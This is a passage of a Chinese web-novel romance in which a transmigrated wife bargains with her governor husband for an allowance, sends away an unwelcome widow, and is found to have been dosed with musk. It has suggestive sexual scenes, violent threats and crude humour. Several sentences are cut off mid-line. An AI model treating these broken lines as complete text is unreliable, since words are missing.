齐娘瞧着萧柔的眼泪,好奇的地伸手一刮,指尖带了一滴眼泪放进嘴里。
“原来眼泪是这个味道,萧大娘子你别哭了,等到往后没银子买盐时,你在去锅前面流几滴泪。”
萧柔被齐娘的动作骇得发愣,随即就听到她的嘲笑。
“你——”
见齐娘的态度,萧柔就知道董家人的想法要落空,果真齐娘下一句就道:“萧大娘子刚刚怕是没听清主子的话。主子是说,若是你有胆量用我,咱们就一起当董家人的大爷,若是你没胆量,那你便跟董家人一起伺候我的饮食起居。”
说完,齐娘踹了一脚面上愤愤不平的董四郎:“你这个腌臜货,床边上抠了一排鼻涕贴在上面,你去给我一口口地舔干净去!”
萧柔本以为平日里气性大的董四郎听到这个话会奋起反抗,谁知道还没等齐娘摸到刀柄,他便乖觉地进了屋子。
“还有你们不去做饭,还在干什么,你们吃什么我不管,若是我没吃到肉,我可是会生气的。”
齐娘抽刀砍了一记董家的大门,“在战场上无粮可吃的时候,我也不是没吃过人肉。”
董家人瑟瑟发抖只能照办,立刻给她买肉做饭。
平日里都靠萧柔服侍的董家人全都动了起来,就连在吴府受了罪,躺在床上屎尿都要萧柔照顾的董贾,因为董四郎跟齐娘说董贾会伺候人,给萧柔洗过好几次脚,也被齐娘从榻上踹到了地上。
不过几脚董贾便连连同意,去端了热水给齐娘捏脚。
*
从董家出来萧欻直接去了校场,浑身被汗水浸透后,他才觉得心中的郁气一扫而空,换了衣裳返回城中。
他回萧府时辰已经晚了,家中其他人已经吃过晚膳,他草草用过后,想到中午时候萧良说的话,去了听松院。
到了听松院,他才发现这地方变化不少。
院中种了不少之前没有的花木,年味十足的窗花这里贴的最多,还有五颜六色的彩带挂的到处都是。
一看就是萧善的喜好。
走近有动静的屋子,就见虞少阳夫妻与三个孩子都在其中。
虞少阳怀里抱着萧善,正与萧翼对弈,而甄婧拿了本书在给萧良读故事。
目光环视,没见着宓瑶让萧欻松了一口气。
幸好她是个懒的,有了人陪孩子她就跑了,不若她也在这里,他们一家子和和美美,他就成了多余不该打搅他们和乐的人。
“阿爹!”
萧良看到萧欻叫了声,原本沉浸在棋局的萧翼听到声响,连忙起身给萧欻请安,而发困的萧善,则是懒洋洋地看了他一眼,连叫都懒得叫。
“阿兄,嫂子。”
萧欻打了声招呼,“劳烦你们费时陪他们玩乐。”
“不妨事,大郎聪颖,我校考了他文章,他完全不像启蒙一年的孩子,棋艺也是,奕棋如小谢,小小年纪就开始构建自己的棋路……”
“我我!”
听到虞少阳抱着她,却是一直夸哥哥,萧善不高兴地提醒。
瞅着萧善撅起的嘴巴,虞少阳哈哈大笑:“善儿也聪颖,往后长大了一定也是个极厉害的小娘子。”
“像娘亲。”
“那是当然。”
见虞少阳与孩子相处的比他跟他们还自在,萧欻没再多说什么,只是把萧良叫出了屋子。
“阿爹,我是不是做错什么事了?”
萧良记忆里阿爹从未单独与他说过什么话,他走在路上有些忐忑,怕自己犯了错要被阿爹丢掉。
“无事,你陪我去趟茅房。”
“阿爹是吃得太多,要拉久久的,害怕一个人孤独闻臭臭所以想让我陪吗?”
萧良眨巴眼睛,脸上一派天真无邪。
也幸好他眼眸够清澈无辜,不然萧欻真觉着他是在阴阳怪气地讥讽他这个长辈。
萧欻没有解释,只是到了可以小解的恭桶,打开了裤子……
萧良这一趟去的突然,回来的也快,没一会就脸蛋红扑扑地回了屋子。
虞少阳触到他脸上藏不住的兴奋:“这是怎么了?难不成你阿爹得了什么好东西,偷偷只给了你?”
“不是。”
萧良凑到舅舅耳边,跟他分享方才的见闻,“阿爹的鸟鸟无比大!好大好大!”
说着手努力比划起来。
“噗。”
虞少阳笑的前俯后仰,晌午的时候他见萧欻一言不发,还以为他没把萧良的话当回事,原来他表面淡然,实际心中在意,记到如今特意给小儿展示,免得小儿往后传错了话,毁了他的名誉。
虞少阳在笑,甄婧则是再思量萧良的比划,顺道瞄了眼夫君的裤子,怀疑他以往在榻上的话都是在诓骗她。
他分明说过他那样的已经是男儿中独无仅有的勇猛。
*
萧欻还不知自己私下的澄清转头就被萧良卖个干净。
他回到主院见正房没有点烛,便直接敲响了宓瑶的旧屋。
片刻侍女把门打开,萧欻入门一看,见宓瑶难得没有歪在榻上,而是坐在桌前,桌上放了不少册子与纸张,萧欻没去窥探,站在不远处开口:“难得见你也有忙的时候。”
“郎君这话说的,你又不是时时刻刻陪着我伴着我,当然瞧不见我忙的时候,其实平日里我可忙了,只是每次见郎君我都把事务推开,把陪郎君当做我最重要的事,所以郎君才觉得现在这刻难得一见。”
宓瑶一边收拾桌上的东西,一边睁眼说瞎话。
忙完了手上的东西,宓瑶见萧欻神色松弛,目光原先落在她的手上,见她停下才对上她的眼。
看来是心情不错。
想到自己打算跟他提的事,宓瑶抓紧机会在他旁侧的椅子上坐下。
见宓瑶朝他走来,却是坐在凳上而不是如以往般坐在他腿上,他不禁觉得宓瑶胆小。
这便怕了他,不敢再逗弄他。
“郎君解决阿姐的事了?”
“给她派了一个人。”
“什么样的人?”
“能一只手把董家人全都捏死的人。”
若是萧柔有反抗的心思,齐娘就是她手中对付董家人的刀,若是她还是脑子进水,头上再多一个欺压她的齐娘也算不得什么。
“这般的人郎君还有吗?我也想要。”
听到一只手能捏死一家人,宓瑶不但不怕,反而眼眸放光,双手捧起放到了萧欻的面前。
“我一根手指便能杀人。”
萧欻伸出手指放在了她的掌心,宓瑶目光移动到那根骨节分明的粗粝手指上,怀疑萧欻在暗示什么。
但昨晚他分明是用了三根手指。
这么看来算不算她极其难杀,萧欻一根就能夺命的手指,放在她身上得要三根,而且她也没死,只是小晕了过去。
40-50
第41章 第四十一章【VIP】
“阿姐定然能明白郎君的良苦用心。”
发现自个越想就越放飞,脑子不断冒出一些不对劲的画面,宓瑶松开了捧着萧欻手指的手,试图让气氛正经起来。
只是手指没有支撑倏然落下,萧欻心中那丝痒意没有消散,反而更胜。
之前吃不到时他嗅到宓瑶的气味血气方刚,他还能理解,毕竟任谁眼前吊了块肉,能摸能舔却不能彻底吃饱,都会期待吃饱的滋味。
但昨日他明明已经吃到,为何现在还是觉得饥饿难忍,就像曾经的吃到只是一场镜花水月,仙肉还是吊在眼前纹丝不动,没有被他咬掉半口。
意识到女色对自己的影响,萧欻站起跟宓瑶拉远了距离。
见萧欻忽然用裤子对着她,宓瑶眨了眨眼,头往后仰了仰,很怕他捞着她的后脑勺压下去。
幸好她只是多想,萧欻站起后,顿了顿便退后了一步:“若是换做你去董家,你会如何?”
宓瑶发现萧欻对她还挺认可,昨日和今日都问了她的想法,看样子还把她的想法当做了他行事的重要参考。
“换做我,我的处理办法与郎君差不多,这样的法子看着霸道,但最为有用。”
“哪怕对方是你的血脉亲人?”
“就是亲人才这般费事,若是孩子还能讲几分道理,但那么大的人了,还能如何,只有她想怎么样就怎么样,我能做的就是别让她的选择妨碍到我的生活。”
宓瑶回道,她现代没有亲人,而这个世界的亲人关系又没深到她能多为他们着想。
换做她对上董家,而她又有萧欻的权势,她只会做的比萧欻还狠,所以她不觉得他的处理方式有什么问题。
只是觉得他有进步,终于能自发去解决亲人身上的问题,而不是像之前般扔着不管。
因为他扔着不管,积累久了,她这个萧家主母怎么都会受到牵连。
“郎君已经做到最好,在我心中郎君是最最厉害的郎君。”
女人娇媚软糯的夸奖让萧欻低垂的视线慢慢集中在她的唇上,她的唇嫣红如樱,说话时洁白的齿贝上下移动,时不时露出一截柔软的小舌。
像是察觉到了他的注意,猩红的舌尖探出口腔舔了舔上唇。
萧欻眯了眯眼,这女人哪怕不往他腿上坐了,也没有完全老实,依然在隐秘地勾引他。
宓瑶本以为萧欻站起来是有事要走,但说完话也没见他有离开的意思,只是依然挺直背站立在她面前。
对此,宓瑶忍不住揉了揉脖颈,怀疑萧欻就是故意站起,享受高高在上,从上俯视她的滋味。
还真是个不讨人喜欢的男人。
“郎君,今个我陪阿兄与嫂子挑选宅子。”
见萧欻不走,宓瑶直接进入了主题。
虞少阳到益州算是降职,待遇没有配宅这一项,至于赵天赫那里,他虽然看好虞少阳,但有才人无数,他不止挖了一个虞少阳到益州。
总不可能还没看到虞少阳的价值,便给他超标准的待遇。
不过虽不送宅子,但司户会补贴部分虞少阳租赁房屋的银两。
宓瑶无所谓虞少阳夫妻住在萧府,萧欻明显也不在意,但虞少阳觉得暂住可以,常住于理不合,所以今日下午一有空就开始寻摸城里的空宅院。
她闲着没事就在旁听牙人报位置和银钱,听了半晌,她突然想到了一件事——
“郎君为何我没有月钱?”
萧欻见宓瑶脸上的散漫转为认真,还以为她要与他谈什么,比如把萧府旁边的陪宅借给虞少阳夫妻居住。
谁知道她永远都能出乎意料。
“你哪里没有月钱?账房你什么时候去支银子,支不出过?”
他从未限制她的花销,自从她迷上瓶花之后,库房的瓶子不够,她在外又买了不少,后面不知是听谁说,还是在书中看到冬日插花应该用铜瓶不该用瓷瓶,她又买了一堆价值不菲的铜瓶替换,因为这事账房还特意拿着账本找他,让他知晓她花银子有多不手软。
就是这般她还来跟他要什么月钱。
“郎君是我的夫君,我是萧府的主母,账房随意由我支钱是理所当然,但能花郎君的银子是一回事,我自己口袋里有银子是另一回事。”
人就是一种会贪心的生物。
银子的时候,她觉得生活过成这般已经妥了,
嫁妆,就觉得这般不成。
她平日里花了再多的银子,也是从萧欻的口袋入了商人的口袋,她的钱袋子依然瘪瘪,若是哪天萧欻不愿意再给,她就是这萧府最穷的人。
欻淡淡道。
宓瑶怀疑萧欻是假不懂,但从账房支的银子,不是拿去给下人发工钱,就是买衣裳首饰打扮自个,而我精心打扮还能是给谁看?自然给郎君看,所以说是为了郎君,却没”
越说宓瑶神态越委屈,活像平日里喝的每一口水,吃的每一口饭,都不是为自个吃喝,而是为了他才忍着痛苦活着。
虽不知她怎么突然升起要银子的心,但萧欻看出今日不满足她,她能每日都见缝插针地跟他提及。
看够了她装委屈的模样,萧欻开口道:“你要多少?”
见萧欻终于把话题进行到了这里,宓瑶波光潋滟的眸子满是期待:“郎君打算给我多少?”
哪怕曾经穷困,萧欻如今对钱财依然看的不是太重。
宓瑶是他的女人,他之前摸不透她在想什么,觉得她心不在他身上,尚能让她支取银两,如今他感觉到她有心与他做夫妻,自然更不会吝啬钱财。
只是说出让她满意的数字前,萧欻俯身对上她的视线:“我打算给你多少,要看你的诚意几何。”
说完他并未往前移动,两人鼻尖保持寸余的距离,互相对视。
宓瑶很想忽视萧欻眼中的欲念。
可他凤眸灼热的就像是沸腾的岩浆,光是看着她都觉得浑身被溅满了火星,烫的想离他远远的。
原本已经没有痛感的隧道,也因为他侵略性的眸光,回忆起昨晚的进出开始隐隐作痛起来。
“郎君这话说的,我又不是卖笑换银子的花娘,我可不愿意用身体换银子,我对郎君是一片真心,我要用真心换。”
宓瑶弯起眼角,就是没照镜子,她也能猜到她现在的模样生动灵巧。
但她面对的偏生是萧欻这个不懂欣赏美人绽颜,而是满脑子只有荤腥的男人。
“吻我。”
低哑的嗓音宛若捕食者锁定了猎物,像是把选择给了她,实际上蓄势待发,她无论同不同意他都会展开他的狩猎。
宓瑶:……
这个时候她真的很想与他探讨一下他自个定下的初一十五,但想到能实在到手的银子,她注视他脖颈滑动的喉结,嘴唇微张慢慢靠近,像是要含他的喉结,最后却吻在了他的下颌。
唇瓣的碰触犹如蜻蜓点水。
宓瑶的手指在他凸起的喉结上摸索,感受着他猛然吞咽口水时的紧绷。
“萧郎是想我亲这儿吗?你看它起伏的好急,萧郎就那么渴望我……”
宓瑶话没说完,脸就被萧欻捧起狠狠吻住。
弯腰的姿势不方便萧欻施力,在唇舌交缠的水声中,他慢慢变成了一只腿半跪。
把宓瑶嘴中的气息掠夺殆尽,他依然紧紧地贴着她的面,濡湿的呼吸交错,他只许她呼入他给予她的热气。
“月钱就五百两吧,虽然知道郎君要给我更多,但再多我也花不完了……”
喘气的间隙,宓瑶哪怕大脑已经晕乎到不知今夕是何夕,依然不忘自己的初衷。
萧欻没有开口,只是摩挲她殷红发肿的唇瓣,目光幽深却仿佛有野兽在其中躁动。
宓瑶不知道她是被他眼神骚到,还是被他摸出了问题,反正她全身都开始发痒酥麻起来,有几分体会到她刚刚不吻他喉结,而是磨蹭地抚摸他,他是什么滋味。
萧欻摸完了唇瓣,就开始摸她的眉骨眼角,粗粝的手指扫过鼻梁,沿着她青色的脉络去摸她的锁骨。
宓瑶受不了痒干脆扑进了他怀里。
“郎君是在为我摸骨测命?那郎君有没有算出我天生好命,注定要被夫君捧在手心,不必吃世间的任何悲苦。”
“的确不必吃任何悲苦,吃点别的东西就成。”
萧欻意有所指,抱她上榻前,多问了一句,“除却每月五百两,你还要什么?”
“我发现咱们府还有两间在闹市的铺子,夫君也一并给我吧。”
这铺子是霜华某日无意间跟她提及,说那么好的地段,因为萧府没有管理的人才,便空着不租赁出去,白白浪费了地段。
她那时听着不觉得有什么,反正浪费的也是萧欻的银子。
但现在不同,虞家给她的嫁妆只是面上丰厚,实际上她在来益州的路上就花的差不多了,其中也没什么压箱底的铺面庄子。
既然娘家不给,那她只有问夫家要了。
“要那么多,你打算如何支付报酬?”
萧欻这会已经将戒女色抛到了一边,他这是索要报酬,而不是被眼前吊着的仙肉馋的口水直流,没有自制力非要咬几口。
而宓瑶这会也忘了她说的她不是花娘,赚钱嘛不丢脸。
这样萧欻过的很累,气喘吁吁,流了许多白色的汗珠。
翌日宓瑶一如往常般起晚了,萧欻与虞少阳都出门当差,晌午送了信不回府邸,等到吃完了饭食,宓瑶便陪着甄婧去看宅子。
牙人口头介绍的宅子自然是千好万好,要住许久的地方,还是得具体的去看几圈,才能选出合适的住处。
小半个时辰过去,宓瑶陪甄婧看了两处宅院。
两处都离萧府不远,一处是一进的宅子,院子还算新,但地方逼仄,十几步就能绕完整个院子,往后孩子生了跑都跑不开。
另一处二进的宅子要好些,但建筑太旧,若是居住,大到墙壁需要石灰抹面统统清一遍,小到残破的轩窗也要换新。
“全部换新虽然麻烦,但也干脆,不若一间宅院有太多上个屋主的痕迹,我与你兄长住着也不舒坦。”
这两处宅子都不怎么满意,但牙人介绍的住所,就这两间与萧府离得近。
她以往跟宓瑶关系平淡,巴不得离她远点少打交道,但这几天相处下来,她十分喜欢变了性子的宓瑶,就想离萧府近点,不若他们夫妻俩到益州,虞少阳出门当差她想找个人说话也寻不到。
“重新规划一遍的确不错。”
宓瑶在册子上画了个勾,帮甄婧把这处列为备选,“嫂子,我们先去茶楼坐坐,尝尝新鲜点心,等到琇儿打听一圈再说。”
“琇儿?”
甄婧看向与他们一同出来的虞琇,她晓得虞琇是宓瑶和她相公的庶妹,但因为她相公对虞琇的态度淡淡,她怕宓瑶多想,也未与虞琇多说几句。
“嫂子放心,不需多久,我定然把这儿的情况给你打听的清清楚楚。”
虞琇拍拍胸膛,自豪地说道。
“在打听消息上,镇使手下的斥候都不如琇儿。”
把事情交给虞琇,宓瑶便跟甄婧去茶楼,虽然萧府的厨子手艺不错,但吃久了,还是想尝点别的滋味。
晓得这家茶楼的点心不错,宓瑶便要了一桌:“吃不完还可以带回府给善儿他们吃,不会浪费。”
说着宓瑶就一种选了一个都尝了尝。
甄婧也选了几个品尝。
吃得差不多,虞琇打听回来,坐下先喝了杯茶才开口:“那宅子没沾过生死还算干净,但上一任屋主名声不怎么好。”
“怎么不大好?”
“之前住在那儿的人是一位官员的外室,之所以搬离,是因为正室打上门,抓了官员与外室偷欢的现行大打出手。”
听到这个宓瑶觉得还好,只要不是什么凶杀案的现场,周围邻居生养了一窝孩子日夜吵闹,抓奸现场在她看来不算什么问题。
但她见甄婧唇瓣抿起,面色紧绷,就晓得这处是不行了。
原本按着计划歇息一会她们还要去看下一处,可因为甄婧走累了,宓瑶瞧她的样子,自个也想回去躺着,也就没去看她新得的两间铺面,让马夫掉头踏上了回萧府的路。
“阿姊,咱们府邸大门有一个妇人带着孩子站着。”
马车本来走二门回府,走岔路时,虞琇眼神好瞧见了大门前头的人,朝宓瑶说道。
“是路过的人?”
“我瞧不像路过,她就在门口没动,她孩子像是站累了还在哭闹来着。”
听到这话,宓瑶眨了眨眼,萧柔没孩子可带,而且是萧柔的话,虞琇会直接说是萧柔。
所以说是萧欻在外面的女人找上门了?
才听了一段正室打外室的风闻,这边外室就找上萧家门,要来对付她这个正室了?
宓瑶正考虑着是让虞琇问几句,而她避开不管,就见甄婧若有所察地掀开了车帘。
触到甄婧瞧见对方后倏然僵硬的身体,宓瑶内心哇了一声,晓得虞少阳怕是要完了。
第42章 第四十二章【VIP】
若是她与萧欻之间冒出个女人,倒是有点可能,因为萧欻最近对房事正上头。
在书里面萧欻是不好女色的寡王男主,但前提是他从未尝过男女之事,如今他尝了荤腥,谁晓得他会不会迷恋各中奥妙,从而人设崩塌。
至于虞少阳和甄婧夫妻俩,书里面没描述过两人的感情,但单从这几日看来,两人明显蜜里调油,眼中只有彼此,这般中间也能冒出个女人?
对于这种状况,哪怕男方是她的兄长,她也想呵一声,感叹这就是男人。
甄婧掀开帘子看到人后明显态度纠结,认识对方却不想与对方打交道。
可惜她能纠结的时辰不长,她露出脸片刻,对方就注意到了萧府的马车。
妇人牵着孩子,跌跌撞撞地跑向甄婧,热泪盈眶地叫了声“姐姐”。
这一声姐姐感情充沛,若是没从甄婧的面色中看出端倪,宓瑶都要以为这妇人跟甄婧是亲姐妹,经历了种种磨难两人才得以相见。
“雄儿,还不快跟你大娘问安,咱们终于找到你叔父与大娘了。”
妇人的称呼让宓瑶听着脑子一团乱,她口中的叔父指的应该是虞少阳,但叫虞少阳叔父,却叫甄婧大娘?
“我不想叫她,她不爱我,明明说把我当做亲生孩子一般,到这里也不带上我一起,害我差点被拐子拐了。”
说着,看着年岁有五六岁的男孩,死死盯着甄婧凸起的肚子。
阿娘跟他说过,甄婧不会生孩子,要是有了自己的孩子,一定是使用巫术求了邪神,怀的是会抢走虞叔父对他宠爱的坏种。
“雄儿你怎么能那么说,你大娘对你的喜欢又不是做戏,她怜年纪小小没了爹,是真喜欢你真心疼你,咱们这一路来的艰难,但能见到你大娘与叔父一切便好了,姐姐你说是不是?”
妇人含泪看向甄婧,把问题丢给了她。
宓瑶瞧了眼妇人身边模样普通的孩子,不过一眼她就能确定这孩子跟虞家沾不上关系。
虞家出了原主一个美人,不是歹竹出好笋,而是好笋中出了一个顶尖的嫩笋。
原主兄弟姐妹中就没有丑的。
哪怕她曾经觉得虞琇长得不够精巧,那也是相对的比较,再者这几个月虞琇在萧家养的不错,五官已经隐约在往美人方向发展。
听到梁小郎差点被拐子拐了,甄婧吞了那句“你们怎么会来益州”,而是强撑挤出几分笑容,让自己的不欢迎没那么明显。
“夫君调职,我才与他背井离乡,千里迢迢到益州上任,没想到小郎的祖父母都在上京,秋娘你会带他过来。”
甄婧扶着肚子下了马车才语气婉转地道。
她不想与秋娘多说,但秋娘堵着萧府大门,她总不能居高临下地面对这对母子,让旁人觉得她脾气傲慢。
“姐姐又不是不知道,我蠢笨柔弱,连自个都照顾不好,又如何能带好雄儿。而且在雄儿眼中我们与姐姐与虞大哥就是一家人,见不着你们雄儿就大哭不止,我实在没办法,才带他千里迢迢的来寻姐姐你们。”
甄婧的问话算是戳到了妇人的眼珠子,妇人满眼通红,含在眼眶的泪水一滴接着一滴,而她的手像是得了帕金森,拿着帕子抖来抖去,看着忙碌得很,却一滴眼泪都没擦到,让眼泪糊的满脸都是,看着可怜至极。
“姐姐不知我们这一路有多难……”
看到阿娘的眼泪,梁杰雄瞪向甄婧:“大娘你为什么要凶我的娘亲,你为什么要害她哭!?我要告诉叔父你有了自个的孩子便不爱我了,以往对我的和善都是装的!”
“雄儿不许这般跟你大娘说话,你大娘哪会有了自个的孩子就不看中你了,她没有欺负我,是我见到你大娘太高兴了。”
说着妇人又泣不成声起来,抱着孩子哭的全身发颤,瞧着像是随时会晕厥过去。
“我不信!”
梁小郎在秋娘怀里瞪向甄婧,要听她说她比喜欢那个坏种更喜欢他。
见秋娘母子吸引了不少路人的目光,甄婧脸上蒙了层灰蒙蒙的焦虑:“你们在哪里落脚,我们去你们住处说。”
听到甄婧问他们的落脚地,秋娘哭的更凶:“我们为了来益州已经山穷水尽,哪还有银子找落脚的地方,若不是今日找到了姐姐,怕就要露宿街头了……”
见秋娘伸手要抓甄婧,不管她是要抱胳膊还是抱人,宓瑶叫了声诗雅。
不需要宓瑶提醒,诗雅就明白了她的意思,一边挡住了秋娘的靠近,一边开口道:“这位娘子,我家嫂夫人身子重,你有话直说便是,可不能随意上手拉扯,若是出了事情谁也担待不了。”
“我怎么会伤害姐姐。”
秋娘带着哭腔反驳,说完,“我把姐姐当做亲身姐姐,当做雄儿另一个娘,我以为姐姐对我也是这般,没紧,到现在我才。”
了身孕。”
甄婧开口解释,不想禁忌,免得秋娘又有眼泪,说她不是外人。
“哪怕现在才知晓,我依然为了姐姐高兴,,等到姐姐孩子生下来,定能打那些碎嘴子们的脸。”
秋娘像是真为甄婧高兴,满脸泪花的脸上绽放出一个夸张的笑容。
模样怪异的笑脸看着还不如她哭着好看。
“既然是嫂子与大哥认识的人,自然不能放任露宿街头,诗雅你拿些银子去给这两位找个落脚的地方。”
宓瑶喜欢吃瓜看戏,但甄婧大着个肚子,她就怕她一直在旁不管,甄婧被这个妇人气出好歹。
出声打断了秋娘的热络,趁着她呆愣的间隙,宓瑶指了指府邸大门上那一个描金的萧字,“我郎君不喜欢生人打搅,就不请二位入府了。”
秋娘晓得虞少阳有个美若天仙的嫡亲妹妹,也晓得虞少阳调职益州,部分原因就是他妹妹在这。
宓瑶貌美,方才她与甄婧哭诉,就注意到了旁的宓瑶。
想着自个哭的那么厉害,宓瑶看到应该会思量她与虞少阳有什么干系。
没想到宓瑶开口却连萧府大门都不让她进去。
一想她又哭了起来。
“来人捂住她的嘴巴!”
宓瑶蹙眉吩咐道,“这位娘子,你来益州前难不成没有打听过我家郎君的名声,在萧府大门前哭丧,是想把我家郎君的福气都哭散不成。”
说着,瞧向在一旁撕扯诗雅衣裳,要救秋娘的小儿:“你这般不懂事的丑孩子,我郎君前些日子才收拾过一个。”
宓瑶目光摄人,言词根本不惧周围有围观的路人,秋娘意识到虞少阳这妹妹模样似仙心肠却如同厉鬼,不敢再反抗,只是眼巴巴地看向甄婧。
“你看我嫂子有何用,萧家又不是她来做主。与你说了给你找落脚的地方,你耳朵若是只是拿来做装饰,那还不如割了。”
宓瑶的话一出*,秋娘这回连看都不敢看甄婧了。
而姿态霸道的梁小郎这会也吓成了鹌鹑,与他娘一齐低着头,不敢去看宓瑶,怕被她割了耳朵。
“既然都到大门了,就让门房卸了门槛直接从大门进府,我懒得绕了。”
说完,宓瑶捂唇打了个哈欠,虞琇连忙把甄婧扶上了马车。
车轮转动,等到马车进了府邸,甄婧才缓过神,愣愣地看向自个的小姑子。
她听过宓瑶是如何对待吴家与萧欻姐姐一家,听到传言觉得宓瑶厉害,但那毕竟是借由别人嘴巴传出来的内容。
如今亲眼见到,她才发现她这小姑子有多厉害。
她与秋娘母子相识那么久,从来就只有她被气的咬牙切齿,还没见过母子俩缩着脖子连哭都不敢多哭一声。
“方才那位妇人唤作秋娘,是你阿兄一位交好同窗的遗孀。”
只剩姑嫂两人,甄婧晓得自己该跟宓瑶解释清楚秋娘是怎么回事。
但才提及秋娘的名字,甄婧的眉头就紧紧地攥到了一起,“在上京时,因为可怜他们母子早早没了依靠,你阿兄与我对他们母子二人多有照顾,但没想到他们会跟到益州……”
甄婧实在没想到会在益州看到秋娘母子,上京离益州有月余的路程,他们也没有仆人随扈,就那么孤儿寡母的过来了。
也不知他们打听知晓她和虞少阳来的益州,还是虞少阳离开上京前瞒着她去跟母子俩说了。
若是后一种可能,她现在就能气晕过去。
“郎君请的大夫到府了没有?”
宓瑶探究哥嫂八卦前,瞧着甄婧的面色,先朝霜华问了句。
甄婧在上京就有每月请平安脉的习惯,怀孕后虞少阳直接请了个医婆住家,等到他们来益州,医婆不愿意背井离乡,甄婧身边就没了时刻可以为她看诊的人。
所以一落地益州,虞少阳便跟萧欻提了,麻烦他寻个合适的大夫能一直照看到甄婧生产。
见霜华给了肯定的答案,宓瑶才继续朝甄婧道:“那位秋娘为何让她儿子叫嫂子你大娘,却称呼阿兄为叔父。”
这完全是差辈的称呼,让不知道的人听到,根本不觉得甄婧和虞少阳是夫妻俩,也不晓得甄婧是如何忍着没有纠正。
“梁小郎一直称你阿兄为叔父,至于叫我,我也不晓得他母亲是如何想的,某日跑到我与你阿兄住的宅子,哭哭啼啼说若是梁小郎有两个娘疼他就好了,便自顾自的让梁小郎喊起了我大娘。”
见甄婧越说越怒,宓瑶更觉着自个有先见之明,先问了大夫有没有在府邸候着。
不过看甄婧的模样,她倒是不明白,甄婧分明对秋娘母子满是怒火,为何面对母子时又一脸忍让。
“嫂子别与我说秋娘去世的相公是因为救阿兄而离世?”
要真是她猜测的这样,那一切也太狗血,但甄婧的隐忍却说得通了。
“梁大郎去世与郎君没有关系,只是那日两人相约了一同去登山,谁知道途中变天,暴雨倾盆松了土石,两人受困,郎君逃过一劫,梁大郎却被石头砸中了头。”
虽然没什么救人被救的关系,但两人是一齐出的意外,虞少阳作为幸运的那个,便帮忙料理了梁大郎的葬礼。
谁晓得痛失儿子的梁家二老没有迁怒虞少阳,也没有贪图虞少阳的官身,反倒是梁大郎的娘子有事没事就求到他们夫妻跟前。
开始她还觉得秋娘母子可怜,但日子久了她便烦了起来。
“嫂子若是烦的话,为何不与阿兄说清楚,让他来解决这母子俩。”宓瑶不解道。
在她看来虞少阳不是糊涂人,不会为了一时善心,让自个的妻子忍受委屈。
听到宓瑶的话,甄婧面色一僵:“你又不是不晓得你阿兄,他心地善良,看到秋娘母子这般的可怜人,怎么会不帮扶一二。”
是吗?
宓瑶回想虞少阳第一日见她,先是问虞琇这个庶妹烦不烦人,要不要他把人退回虞家,免得给她添乱。
继而又道她若是觉得三个萝卜头碍眼,就帮她想法子,不管是用虞家施压,还是去跟节度使谈于理不合,让三个孩子跟萧欻脱离父子女关系。
这是心地善良的男人会说的话?
宓瑶觉着甄婧情人眼里出西施,看虞少阳跟旁人看他不一样。
想到了这点,她又仔细想了这夫妻俩寻常时候的相处模样,觉着虞少阳可能对甄婧也有某种误解。
就像是她与甄婧私下聊天时,聊得兴起甄婧会大笑,还会用推搡她的方式来表达不好意思或是兴奋。
而甄婧与虞少阳在一块,说话细声细气,微笑弧度都有所收敛。
那么一想,虞少阳夫妻俩的相处比她跟萧欻还假。
扯了扯嘴角,宓瑶突然觉得有趣了起来。
开始期待虞少阳回府晓得烂桃花追到益州的态度。
总不会夫妻俩都是一肚子怒火,却一脸隐忍吧?
“两位夫人安。”
萧欻请的大夫看起四十左右,相比于寻常面容和善的医者,这位姜大夫像是性格严正一丝不苟的儒士。
宓瑶与甄婧在打量这位大夫,而大夫也在打量二人,见两人坐下,他上前放下了迎枕,给甄婧把脉前先道:“甄夫人有孕,不该动怒。”
“我怒的很明显吗?”
甄婧摸了摸自个的面颊,在上京她没少应付秋娘,而住在家里的医婆就看不出来她每次见过秋娘就心烦。
她还以为自己掩饰的很好。
“脉象浮紧,心绪起落太大,不过甄夫人身体康健,只要不是频繁动怒,这般程度影响不了胎儿。”
听到姜大夫的话,哪怕他最后给出的结论是没事,宓瑶也让侍女快快送了甄婧回房休息。
甄婧走之前附耳在宓瑶说了几句,见宓瑶点头才安心离了花厅。
而看不到甄婧背影后,宓瑶忍不住乐了起来。
甄婧让她别把她生气的事告诉虞少阳,免得他为她担心,只说她秋娘母子和善就成。
也不知她到底是想在虞少阳面前掩饰什么。
“还请夫人伸出手腕。”
给甄婧把完脉,姜大夫并未离开,而是转向宓瑶,朝宓瑶说道。
对上姜大夫肃然的视线,宓瑶面上浮现茫然:“大夫不会要与我说我面色有问题,有什么重病吧?”
“夫人面色红润,血气充盈,想来不会有什么顽疾缠身。”
听到姜大夫如此说,宓瑶更是不解:“既是如此,大夫为何要给我把脉?”
“给夫人诊一脉平安脉罢了。”
说着姜大夫的手已经抬起,只能说姜大夫太有权威感,所以宓瑶原本觉得没必要把什么平安脉,看到姜大夫抬起手准备往下落,她自动自发地把手放在了大红吉祥纹迎枕上。
姜大夫望闻问切中,最厉害的应是望,他一边凝神把脉,一边直视宓瑶的脸。
他眼中没有男人对女人的欣赏,也看不出任何情绪明确的打量,宓瑶有种自个就像是在现代,被放进了冰冷的仪器里进行检视。
因为这个她松弛的心略微揪了揪。
幸而姜大夫的检视没有进行太久,他移开视线,宓瑶又重新放松了下来。
“夫人脉象比起甄夫人更为康健,六脉调和,如面色一般气血充盈。”
“那就好。”
宓瑶笑笑道。
她可不想每天吃吃睡睡好生娇养这具新身体,却换来有什么难治的顽疾缠身。
宓瑶打发侍女给了姜大夫红封,便回了屋中午睡,她这一觉一睡就睡到了萧欻与虞少阳下值。
想着虞少阳回来她便能看热闹了,她立即精神奕奕地洗漱梳头,打算去当瓜田里的猹。
因为注意力放在秋娘母子与虞少阳的关系上,她便忽略了一些细枝末节,比如说虞少阳归府,专为甄婧请的姜大夫没有立刻与虞少阳谈甄婧的孕体。
而是去见了萧欻。
“镇使,若是小人没有看错,应是有人给夫人下了妨碍子嗣的药物。”
见到萧欻,姜大夫拱手请安后直接扔出了自个的推测。
说完触到萧欻霎时间充满戾气的凤眸,姜大夫缓了缓,“一见夫人我便嗅到了一股浓郁的麝香,虽然有其他香味掩盖,但小人不会闻错。有些娘子喜爱麝香会将麝香当做熏香使用,少量的使用不妨碍子嗣,但我为夫人把脉,她该长期在吃麝香为主料的香丸。”
至于宓瑶是被人下药,还是自个知道麝香效用还当糖豆子吃,他就没有揣摩了。
“镇使说夫人经血乌黑,大约就是因为服用了麝香丸,经候涩滞,才会血液乌黑,脐腹作痛。”
“辛苦大夫。”
萧欻眼中的戾气来得快去得也快,开口时神色已经回到了淡然模样,像是完全没把姜大夫的话放在心中。
